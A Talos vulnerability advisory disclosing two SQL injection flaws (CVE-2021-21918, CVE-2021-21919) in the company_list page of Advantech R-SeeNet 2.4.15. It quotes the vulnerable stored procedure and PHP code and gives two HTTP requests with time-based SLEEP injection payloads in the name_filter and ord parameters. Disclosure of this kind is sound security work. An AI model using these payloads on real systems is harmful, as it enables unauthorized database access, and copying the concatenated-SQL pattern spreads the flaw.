

## Talos Vulnerability Report

TALOS-2021-1364

### Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'company\_list' page

NOVEMBER 22, 2021

#### CVE NUMBER

CVE-2021-21918,CVE-2021-21919

#### Summary

Multiple exploitable SQL injection vulnerabilities exist in the 'company\_list' page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities. However, the high privilege super-administrator account needs to be used to achieve exploitation without cross-site request forgery attack.

#### Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

#### Product URLs

<https://ep.advantech-bb.cz/products/software/r-seenet>

#### CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

#### CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

#### Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exist due to misuse of prepared statements in the context of the application. Along with stored procedures, they are combined with SQL concatenation in such way that variables used to build up a SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where the final prepared statement is simply taken from @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 130 below from the original SQL file used during installation (companies.sql):

```
100 DROP PROCEDURE IF EXISTS `sp_GetCompanies`$$
101 CREATE DEFINER=`root`@`localhost` PROCEDURE `sp_GetCompanies`(params VARCHAR(255))
102 BEGIN
103
104     SET @comp_num = 0;
105
106     DROP TABLE IF EXISTS company_list;
107     CREATE TEMPORARY TABLE company_list ENGINE=MEMORY SELECT
108         @comp_num := @comp_num + 1 as comp_num,
109         company_id,
110         name,
111         devcount,
112         address,
113         email,
114         phone,
115         note
116     FROM companies ORDER BY company_id;
117
118     SET @sql = CONCAT('SELECT
119         comp_num,
120         company_id,
121         name,
122         devcount,
123         address,
124         email,
125         phone,
126         note
127     FROM company_list WHERE "" = "" ',params);
128
129     PREPARE stmt FROM @sql;
130     EXECUTE stmt;
131     DEALLOCATE PREPARE stmt;
132
133     END$$
```

#### CVE-2021-21918 - 'name\_filter' parameter

Parameter name\_filter is set as a session variable on line 97 of company\_list.php as seen below:

```
95 if(isset($_GET['name_filter']))
96 { // je nastaven filtr name
97     $_SESSION['name_filter'] = urldecode($_GET['name_filter']);
98 }
99
```

Following the above code, a variable is used on line 151 in the following code to build up a SQL query which will get executed on line 178:

```
147 $sql = '';
148
149 if((isset($_SESSION['name_filter'])) && ($_SESSION['name_filter'] != ''))
150 {
151     $sql = $sql.'AND name LIKE "'.mysqli_real_escape_string($link,$_SESSION['name_filter']).'" ';
152 }
153 [...]
154
155 $sql = 'call sp_GetCompanies(\''.$sql.\')';
156 // vykonani SQL prikazu
157 $result = db_query($link, $sql);
158
159
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=company_list&count_on_page=1&name_filter=1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(6))))a)--
%20&address_filter=1&ord=1 HTTP/1.1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION]
Content-Length: 0
Host: [IP]
```

### CVE-2021-21919 - 'ord' parameter

Parameter ord is set as a session variable on line 107 of company\_list.php as seen below:

```
105 if(isset($_GET['ord']))
106 { // je nastaven filtr firmware
107     $_SESSION['ord'] = $_GET['ord'];
108 }
```

Following the above code, a variable is used on line 161 in the following code to build up a SQL query which will get executed on line 178:

```
159 if((isset($_SESSION['ord'])) && ($_SESSION['ord'] != ''))
160 {
161     $sql = $sql.'ORDER BY "'.mysqli_real_escape_string($link,$_SESSION['ord']).'" ';
162 }
163 [...]
164
165 $sql = 'call sp_GetCompanies(\''.$sql.\')';
166 // vykonani SQL prikazu
167 $result = db_query($link, $sql);
168
169
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=company_list&address_filter=6&ord=11%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5))))a&name_filter=1&count_on_page=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

### Timeline

2021-08-19 - Vendor Disclosure

2021-11-16 - Vendor Patched

2021-11-22 - Public Release

### CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

